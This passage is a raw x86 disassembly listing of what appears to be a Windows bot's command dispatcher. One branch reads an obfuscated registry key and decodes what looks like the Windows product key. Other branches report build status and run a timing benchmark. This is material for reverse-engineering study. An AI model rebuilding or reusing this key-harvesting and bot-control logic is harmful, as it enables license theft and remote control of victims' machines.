		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419EDC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40AB1C:				; CODE XREF: sub_40A9CF+130j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AB21:				; CODE XREF: sub_40A9CF+113j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ED0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB56
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4077DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AB56:				; CODE XREF: sub_40A9CF+165j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AC89
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AC84
		push	180h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 3
		jle	short loc_40ABFE
		push	offset dword_419EC0
		mov	eax, [ebp+var_418]
		lea	eax, [ebp+eax+var_59B]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE
		mov	eax, [ebp+var_418]
		and	[ebp+eax+var_59B], 0
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4078A0
		pop	ecx
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax

loc_40ABFE:				; CODE XREF: sub_40A9CF+1E1j
					; sub_40A9CF+1FFj
		mov	eax, [ebp+var_418]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_418]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AC1F
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AC1F:				; CODE XREF: sub_40A9CF+249j
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF29
		pop	ecx
		pop	ecx
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF59
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		push	[ebp+var_418]
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		lea	eax, [ebp+var_718]
		push	eax
		push	offset dword_419E9C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40AC84:				; CODE XREF: sub_40A9CF+1A7j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AC89:				; CODE XREF: sub_40A9CF+19Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AD84
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_71C]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_71C]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AD0C
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AD0C:				; CODE XREF: sub_40A9CF+336j
		lea	eax, [ebp+var_8A0]
		push	eax
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_720]
		and	[ebp+eax+var_8A0], 0
		lea	eax, [ebp+var_8A0]
		push	eax
		push	offset dword_419E70
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40AD7F:				; CODE XREF: sub_40A9CF+2DAj
					; sub_40A9CF+2ECj ...
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AD84:				; CODE XREF: sub_40A9CF+2CDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E60
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADB2
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406643
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40ADB2:				; CODE XREF: sub_40A9CF+3C8j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4064BF
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40ADD9:				; CODE XREF: sub_40A9CF+3F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E48
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B0B6
		and	[ebp+var_9F8], 0
		mov	[ebp+var_A1C], 0C8h
		push	0Ch
		pop	ecx
		mov	esi, offset aKnqQxjnuXxQEBZ ; "ߕ帚ɟËӋ"...
		lea	edi, [ebp+var_9D8]
		rep movsd
		movsb
		push	5
		pop	ecx
		mov	esi, offset dword_419DFC
		lea	edi, [ebp+var_8B8]
		rep movsd
		movsb
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_9F8]
		push	eax
		push	20019h
		push	0
		lea	eax, [ebp+var_9D8]
		push	eax
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40AE7D
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AE78
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey

loc_40AE78:				; CODE XREF: sub_40A9CF+49Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AE7D:				; CODE XREF: sub_40A9CF+485j
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_9A4]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_8B8]
		push	eax
		push	[ebp+var_9F8]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40AEE7
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AEE2
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey

loc_40AEE2:				; CODE XREF: sub_40A9CF+505j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AEE7:				; CODE XREF: sub_40A9CF+4EFj
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey
		push	7
		pop	ecx
		mov	esi, offset dword_419DDC
		lea	edi, [ebp+var_A18]
		rep movsd
		movsb
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_9DB], 0
		mov	[ebp+var_8DC], 18h
		jmp	short loc_40AF3E
; ---------------------------------------------------------------------------

loc_40AF31:				; CODE XREF: sub_40A9CF+60Bj
		mov	eax, [ebp+var_8DC]
		dec	eax
		mov	[ebp+var_8DC], eax

loc_40AF3E:				; CODE XREF: sub_40A9CF+560j
		cmp	[ebp+var_8DC], 0
		jl	loc_40AFDF
		and	[ebp+var_A20], 0
		mov	[ebp+var_A24], 0Eh
		jmp	short loc_40AF6B
; ---------------------------------------------------------------------------

loc_40AF5E:				; CODE XREF: sub_40A9CF+5EFj
		mov	eax, [ebp+var_A24]
		dec	eax
		mov	[ebp+var_A24], eax

loc_40AF6B:				; CODE XREF: sub_40A9CF+58Dj
		cmp	[ebp+var_A24], 0
		jl	short loc_40AFC0
		mov	eax, [ebp+var_A20]
		shl	eax, 8
		mov	ecx, [ebp+var_A24]
		movzx	ecx, [ebp+ecx+var_970]
		add	eax, ecx
		mov	[ebp+var_A20], eax
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_A24]
		mov	[ebp+ecx+var_970], al
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	[ebp+var_A20], edx
		jmp	short loc_40AF5E
; ---------------------------------------------------------------------------

loc_40AFC0:				; CODE XREF: sub_40A9CF+5A3j
		mov	eax, [ebp+var_8DC]
		mov	ecx, [ebp+var_A20]
		mov	cl, [ebp+ecx+var_A18]
		mov	[ebp+eax+var_9F4], cl
		jmp	loc_40AF31
; ---------------------------------------------------------------------------

loc_40AFDF:				; CODE XREF: sub_40A9CF+576j
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105AD
		pop	ecx
		and	[ebp+var_8BB], 0
		mov	[ebp+var_8C1], 2Dh
		mov	al, [ebp+var_8C1]
		mov	[ebp+var_8C7], al
		mov	al, [ebp+var_8C7]
		mov	[ebp+var_8CD], al
		mov	al, [ebp+var_8CD]
		mov	[ebp+var_8D3], al
		push	5
		lea	eax, [ebp+var_9F4]
		push	eax
		lea	eax, [ebp+var_8D8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EF]
		push	eax
		lea	eax, [ebp+var_8D2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EA]
		push	eax
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E5]
		push	eax
		lea	eax, [ebp+var_8C6]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E0]
		push	eax
		lea	eax, [ebp+var_8C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8D8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B0B6:				; CODE XREF: sub_40A9CF+41Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DCC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B11C
		mov	[ebp+var_8], 1
		movsx	eax, [ebp+var_19]
		test	eax, eax
		jz	short loc_40B0E6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------

loc_40B0E6:				; CODE XREF: sub_40A9CF+706j
		movsx	eax, [ebp+var_B]
		test	eax, eax
		jz	short loc_40B0FD
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------

loc_40B0FD:				; CODE XREF: sub_40A9CF+71Dj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx

loc_40B117:				; CODE XREF: sub_40A9CF+715j
					; sub_40A9CF+72Cj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B11C:				; CODE XREF: sub_40A9CF+6FAj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DBC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B143
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414EB0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B143:				; CODE XREF: sub_40A9CF+760j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DB0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B247
		push	8
		pop	ecx
		mov	esi, offset dword_419D8C
		lea	edi, [ebp+var_A5C]
		rep movsd
		movsb
		mov	esi, offset dword_419D84
		lea	edi, [ebp+var_A38]
		movsd
		movsw
		movsx	eax, [ebp+var_A38]
		mov	ecx, off_41DB18
		movsx	ecx, byte ptr [ecx]
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_A30], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1AD
		mov	[ebp+var_63E4],	offset dword_419D78
		jmp	short loc_40B1B7
; ---------------------------------------------------------------------------

loc_40B1AD:				; CODE XREF: sub_40A9CF+7D0j
		mov	[ebp+var_63E4],	offset dword_419D68

loc_40B1B7:				; CODE XREF: sub_40A9CF+7DCj
		mov	eax, [ebp+var_63E4]
		mov	[ebp+var_A28], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1D8
		mov	[ebp+var_63E8],	offset aThisBuildIsFul ; "This build is	fully functional"
		jmp	short loc_40B1E2
; ---------------------------------------------------------------------------

loc_40B1D8:				; CODE XREF: sub_40A9CF+7FBj
		mov	[ebp+var_63E8],	offset aThisBuildIsBro ; "This build is	broken and will	not funct"...

loc_40B1E2:				; CODE XREF: sub_40A9CF+807j
		mov	eax, [ebp+var_63E8]
		mov	[ebp+var_A2C], eax
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+var_A2C]
		push	[ebp+var_A28]
		mov	eax, dword_41ED00
		and	eax, 0FFFFh
		push	eax
		movsx	eax, byte ptr dword_41DAF8
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_A5C]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105AD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B247:				; CODE XREF: sub_40A9CF+787j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419D08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B28E
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_405E45
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B28E:				; CODE XREF: sub_40A9CF+88Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B2C5
		mov	eax, [ebp+arg_18]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4167DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B2C5:				; CODE XREF: sub_40A9CF+8D2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CF0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B2EF
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CE4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B300

loc_40B2EF:				; CODE XREF: sub_40A9CF+909j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D74D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B300:				; CODE XREF: sub_40A9CF+91Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CD4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B335
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403260
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B335:				; CODE XREF: sub_40A9CF+944j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CC8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B36A
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40260D
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B36A:				; CODE XREF: sub_40A9CF+979j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3A5
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406509
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B3A5:				; CODE XREF: sub_40A9CF+9AEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CA8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3DA
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41665C
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B3DA:				; CODE XREF: sub_40A9CF+9E9j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C98
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B426
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B3FD
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B3FD:				; CODE XREF: sub_40A9CF+A27j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B426:				; CODE XREF: sub_40A9CF+A1Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B44C
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_401146
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B44C:				; CODE XREF: sub_40A9CF+A6Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B47D
		push	0
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B47D:				; CODE XREF: sub_40A9CF+A90j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C70
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4AE
		push	1
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B4AE:				; CODE XREF: sub_40A9CF+AC1j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C64
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4D5
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_409BF1
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B4D5:				; CODE XREF: sub_40A9CF+AF2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C5C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B508
		push	offset dword_41F018
		push	offset dword_419C4C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B508:				; CODE XREF: sub_40A9CF+B19j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C40
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B536
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413FE7
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B536:				; CODE XREF: sub_40A9CF+B4Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C34
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C28
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5A7

loc_40B575:				; CODE XREF: sub_40A9CF+B7Aj
					; sub_40A9CF+B8Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413AB0
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B5A7:				; CODE XREF: sub_40A9CF+BA4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5CE
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41417D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B5CE:				; CODE XREF: sub_40A9CF+BEBj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B631
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40B61B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_41673F
		pop	ecx
		test	eax, eax
		jnz	short loc_40B601
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B601:				; CODE XREF: sub_40A9CF+C2Bj
		push	104h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_41ED10
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------

loc_40B61B:				; CODE XREF: sub_40A9CF+C1Bj
		push	offset dword_41EBFC
		push	offset dword_41ED10
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40B62C:				; CODE XREF: sub_40A9CF+C4Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B631:				; CODE XREF: sub_40A9CF+C12j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B678
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414600
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B678:				; CODE XREF: sub_40A9CF+C75j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B791
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B69F
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B69F:				; CODE XREF: sub_40A9CF+CC9j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		shl	eax, 1
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A68],	eax
		cmp	[ebp+var_5A68],	0
		jnz	short loc_40B6C8
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B6C8:				; CODE XREF: sub_40A9CF+CF2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_5A68]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40EB4E
		add	esp, 0Ch
		push	[ebp+var_5A68]
		push	offset dword_419BC4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A68]
		call	sub_416B4C	; free
		pop	ecx
		push	1000h
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_4104A3
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_A60], eax
		and	[ebp+var_1A64],	0
		jmp	short loc_40B743
; ---------------------------------------------------------------------------

loc_40B736:				; CODE XREF: sub_40A9CF+D9Bj
		mov	eax, [ebp+var_1A64]
		inc	eax
		mov	[ebp+var_1A64],	eax

loc_40B743:				; CODE XREF: sub_40A9CF+D65j
		cmp	[ebp+var_1A64],	186A0h
		jge	short loc_40B76C
		push	1000h
		lea	eax, [ebp+var_5A64]
		push	eax
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		jmp	short loc_40B736
; ---------------------------------------------------------------------------

loc_40B76C:				; CODE XREF: sub_40A9CF+D7Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_A60]
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B791:				; CODE XREF: sub_40A9CF+CBCj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B823
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B7B4
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B7B4:				; CODE XREF: sub_40A9CF+DDEj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A6C],	eax
		cmp	[ebp+var_5A6C],	0
		jnz	short loc_40B7DB
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B7DB:				; CODE XREF: sub_40A9CF+E05j
		push	[ebp+var_5A6C]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5A6C]
		and	byte ptr [ecx+eax], 0
		push	[ebp+var_5A6C]
		push	offset dword_419B88
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A6C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B823:				; CODE XREF: sub_40A9CF+DD5j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B78
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B873
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B85C
		push	offset dword_41F018
